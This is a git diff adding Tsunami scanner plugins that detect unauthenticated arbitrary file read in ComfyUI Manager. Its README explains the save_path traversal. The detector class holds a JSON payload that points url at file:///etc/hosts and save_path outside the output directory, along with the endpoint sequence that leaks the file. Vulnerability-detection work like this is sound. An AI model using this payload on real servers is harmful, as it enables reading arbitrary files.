b/doyensec/detectors/comfyui_arbitrary_read_filename/src/main/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilenameBootStrapModule.java @@ -1,5 +1,5 @@ /* - * Copyright 2022 Google LLC + * Copyright 2025 Google LLC * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -13,18 +13,16 @@ * See the License for the specific language governing permissions and * limitations under the License. */ -package com.google.tsunami.plugins.detectors.spring; + +package com.google.tsunami.plugins.detectors.comfyui.filenameread; import com.google.tsunami.plugin.PluginBootstrapModule; -/** - * A {@link PluginBootstrapModule} for {@link SpringCve202222965Detector} - */ -public final class SpringCve202222965DetectorBootstrapModule extends - PluginBootstrapModule { +/** A Guice module that bootstraps the {@link ComfyUiFileReadViaFilename}. */ +public final class ComfyUiFileReadViaFilenameBootStrapModule extends PluginBootstrapModule { @Override protected void configurePlugin() { - registerPlugin(SpringCve202222965Detector.class); + registerPlugin(ComfyUiFileReadViaFilename.class); } } diff --git a/doyensec/detectors/comfyui_arbitrary_read_filename/src/test/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilenameTest.java b/doyensec/detectors/comfyui_arbitrary_read_filename/src/test/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilenameTest.java new file mode 100644 index 000000000..97dea14cd --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_filename/src/test/java/com/google/tsunami/plugins/detectors/comfyui/filenameread/ComfyUiFileReadViaFilenameTest.java @@ -0,0 +1,210 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.filenameread; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.comfyui.filenameread.ComfyUiFileReadViaFilename.INSTALL_MODEL_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.filenameread.ComfyUiFileReadViaFilename.LOGS_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.filenameread.ComfyUiFileReadViaFilename.OS_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.filenameread.ComfyUiFileReadViaFilename.QUEUE_START_ENDPOINT; +import static com.google.tsunami.plugins.detectors.comfyui.filenameread.ComfyUiFileReadViaFilename.VERSION_ENDPOINT; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link ComfyUiFileReadViaFilename}. */ +@RunWith(JUnit4.class) +public final class ComfyUiFileReadViaFilenameTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2025-03-03T11:30:00.00Z")); + + @Bind(lazy = true) + private final int oobSleepDuration = 0; + + @Inject private ComfyUiFileReadViaFilename detector; + private MockWebServer mockWebServer = new MockWebServer(); + + private static final String VERSION = "3.25.1"; + + private static final String VULNERABLE_RESPONSE = "127.0.0.1"; + + private static final String OS = "{\"system\":{\"os\":\"posix\"}}"; + + private static final String WEBROOT_BODY = + "{\n" + + " \"entries\":\n" + + " [\n" + + " {\n" + + " \"t\": \"2025-03-04T15:29:00.595153\",\n" + + " \"m\": \"[Prompt Server] web root:" + + " /Users/savio/ComfyUI.app/Contents/Resources/ComfyUI/web_custom_versions/desktop_app\\n" + + "\"\n" + + " }\n" + + " ]\n" + + "}"; + + @Before + public void setUp() { + mockWebServer = new MockWebServer(); + } + + @After + public void tearDown() throws Exception { + mockWebServer.shutdown(); + } + + private void createInjector() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + Modules.override(new ComfyUiFileReadViaFilenameBootStrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @Test + public void detect_whenVulnerable_reportsCriticalVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(true); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + DetectionReport expectedDetection = + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(httpServices.get(0)) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build(); + assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); + assertThat(mockWebServer.getRequestCount()).isEqualTo(7); + } + + @Test + public void detect_whenNotVulnerable_reportsNoVulnerability() throws IOException { + ImmutableList httpServices = mockWebServerSetup(false); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) + .build(); + + createInjector(); + + DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(1); + } + + private ImmutableList mockWebServerSetup(boolean isVulnerable) + throws IOException { + mockWebServer.setDispatcher(new EndpointDispatcher(isVulnerable)); + mockWebServer.start(); + return ImmutableList.of( + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build()); + } + + static final class EndpointDispatcher extends Dispatcher { + + public EndpointDispatcher(boolean isVulnerable) { + this.isVulnerable = isVulnerable; + } + + private final boolean isVulnerable; + + @Override + public MockResponse dispatch(RecordedRequest recordedRequest) { + if (recordedRequest.getMethod().equals("GET") && recordedRequest.getPath().equals("/")) { + if (isVulnerable) { + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("ComfyUI"); + } else { + return new MockResponse() + .setResponseCode(HttpStatus.INTERNAL_SERVER_ERROR.code()) + .setBody(""); + } + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + QUEUE_START_ENDPOINT)) { + // Trigger request + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(""); + } else if (recordedRequest.getMethod().equals("POST") + && recordedRequest.getPath().equals("/" + INSTALL_MODEL_ENDPOINT)) { + // Exploit attempt + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(""); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().contains(".safetensors")) { + // File leak + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody(VULNERABLE_RESPONSE); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + VERSION_ENDPOINT)) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(VERSION); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + LOGS_ENDPOINT)) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(WEBROOT_BODY); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + OS_ENDPOINT)) { + return new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(OS); + } else { + // Anything else, return a 404 + return new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code()); + } + } + } +} diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/README.md b/doyensec/detectors/comfyui_arbitrary_read_savepath/README.md new file mode 100644 index 000000000..1f0ff9477 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/README.md @@ -0,0 +1,21 @@ +# Arbitrary File Read in ComfyUI Manager via save_path + +## Description + +In ComfyUI it's possible to leak the content of an arbitrary file on the system. +This is due to a missing check that fails to validate that the user supplied +save_path field does not escape the intended output directory. + +By leveraging the `file:` protocol an attacker can read a file on the system. +After that, he can supply the webroot path, hence the file will be publicly +readable. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +The Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/build.gradle b/doyensec/detectors/comfyui_arbitrary_read_savepath/build.gradle new file mode 100644 index 000000000..9b02a551b --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/build.gradle @@ -0,0 +1,69 @@ +plugins { + id 'java-library' +} + +description = 'Arbitrary File Read in ComfyUI Manager via save_path Field' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13.1' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + guiceVersion = '4.2.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + implementation 'org.jsoup:jsoup:1.9.2' + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/comfyui_arbitrary_read_savepath/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/doyensec/detectors/comfyui_arbitrary_read_savepath/gradle/wrapper/gradle-wrapper.jar differ diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/comfyui_arbitrary_read_savepath/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..ca025c83a --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/gradlew b/doyensec/detectors/comfyui_arbitrary_read_savepath/gradlew new file mode 100755 index 000000000..23d15a936 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/gradlew @@ -0,0 +1,251 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH="\\\"\\\"" + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/gradlew.bat b/doyensec/detectors/comfyui_arbitrary_read_savepath/gradlew.bat new file mode 100644 index 000000000..db3a6ac20 --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH= + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/settings.gradle b/doyensec/detectors/comfyui_arbitrary_read_savepath/settings.gradle new file mode 100644 index 000000000..cdb1b963c --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'comfyui-manager-arbitrary-file-read-via-save_path' diff --git a/doyensec/detectors/comfyui_arbitrary_read_savepath/src/main/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePath.java b/doyensec/detectors/comfyui_arbitrary_read_savepath/src/main/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePath.java new file mode 100644 index 000000000..e1827e17b --- /dev/null +++ b/doyensec/detectors/comfyui_arbitrary_read_savepath/src/main/java/com/google/tsunami/plugins/detectors/comfyui/savepathread/ComfyUiFileReadViaSavePath.java @@ -0,0 +1,398 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.comfyui.savepathread; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.security.SecureRandom; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import java.util.NoSuchElementException; +import java.util.Optional; +import javax.inject.Inject; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; + +/** A Tsunami plugin that detects a Pre-Auth File Read in ComfyUI. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "ComfyUI_fileread_savepath", + version = "0.1", + description = + "This plugin detects an unauthenticated file read in ComfyUI Manager by abusing a path" + + " traversal on the save_path field of the install_module endpoint.", + author = "Savino Sisco (savio@doyensec.com), Leonardo Giovannini (leonardo@doyensec.com)", + bootstrapModule = ComfyUiFileReadViaSavePathBootStrapModule.class) +public final class ComfyUiFileReadViaSavePath implements VulnDetector { + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_TITLE = + "Arbitrary File Read in ComfyUI Manager via save_path Field"; + + private static final String PAYLOAD_TEMPLATE = + "{\n" + + " \"base\": \"FLUX.1\",\n" + + " \"description\": \"test\",\n" + + " \"filename\": \"OUTPUT_FILE\",\n" + + " \"name\": \"test\",\n" + + " \"reference\": \"test\",\n" + + " \"save_path\": \"custom_nodes/OUTPUT_PATH\",\n" + + " \"size\": \"4.71MB\",\n" + + " \"type\": \"TAESD\",\n" + + " \"url\": \"FILE_TO_LEAK\",\n" + + " \"installed\": \"False\",\n" + + " \"ui_id\": \"\"\n" + + "}"; + + static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC = + "The scanner detected a ComfyUI instance vulnerable to arbitrary file read. The vulnerability" + + " can be exploited by sending a sequence of unauthenticated HTTP requests that would" + + " read the content of a file on the system and write it into the webroot path. "; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_DESCRIPTION = + VULNERABILITY_REPORT_DESCRIPTION_BASIC + + "The vulnerability was confirmed by leaking a file from the system."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_RECOMMENDATION = "Update the ComfyUI instance."; + + @VisibleForTesting static final String VERSION_ENDPOINT = "api/manager/version"; + + @VisibleForTesting static final String LOGS_ENDPOINT = "internal/logs/raw"; + + @VisibleForTesting static final String WEBROOT_MESSAGE_PREFIX = "[Prompt Server] web root:"; + + @VisibleForTesting static final String OS_ENDPOINT = "api/system_stats"; + + @VisibleForTesting static final String INSTALL_MODEL_ENDPOINT = "api/manager/queue/install_model"; + + @VisibleForTesting static final String QUEUE_START_ENDPOINT = "api/manager/queue/start"; + + @VisibleForTesting static final String WEBROOT_SUBDIRECTORY = "assets"; + + @VisibleForTesting static final String FILE_TO_LEAK_POSIX = "file:///etc/hosts"; + + @VisibleForTesting + static final String FILE_TO_LEAK_WIN = "file:C:\\Windows\\system32\\drivers\\etc\\hosts"; + + @VisibleForTesting static final String LEAK_DETECTION_STRING = "127.0.0.1"; + + @VisibleForTesting static final int OUTPUT_FILENAME_LENGTH = 16; + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private final Clock utcClock; + private final HttpClient httpClient; + + private static String generateRandomString(int length) { + SecureRandom random = new SecureRandom(); + StringBuilder sb = new StringBuilder(length); + + String charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + for (int i = 0; i < length; i++) { + int index = random.nextInt(charset.length()); + sb.append(charset.charAt(index)); + } + + return sb.toString(); + } + + @Inject + ComfyUiFileReadViaSavePath(@UtcClock Clock utcClock, HttpClient httpClient) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue("COMFYUI_2025_FILE_READ_SAVEPATH")) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .build()); + } + + // This is the main entry point of VulnDetector. + @Override + public 